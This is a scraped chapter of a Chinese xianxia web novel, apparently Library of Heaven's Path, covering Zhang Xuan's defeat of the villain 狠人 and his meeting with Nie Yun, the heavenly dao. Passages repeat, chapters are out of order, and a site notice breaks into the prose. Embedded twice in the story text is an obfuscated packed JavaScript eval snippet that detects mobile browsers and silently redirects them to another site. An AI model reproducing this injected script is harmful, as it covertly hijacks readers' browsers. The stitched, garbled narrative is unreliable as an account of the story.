和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十二章心有怀疑 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960278|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 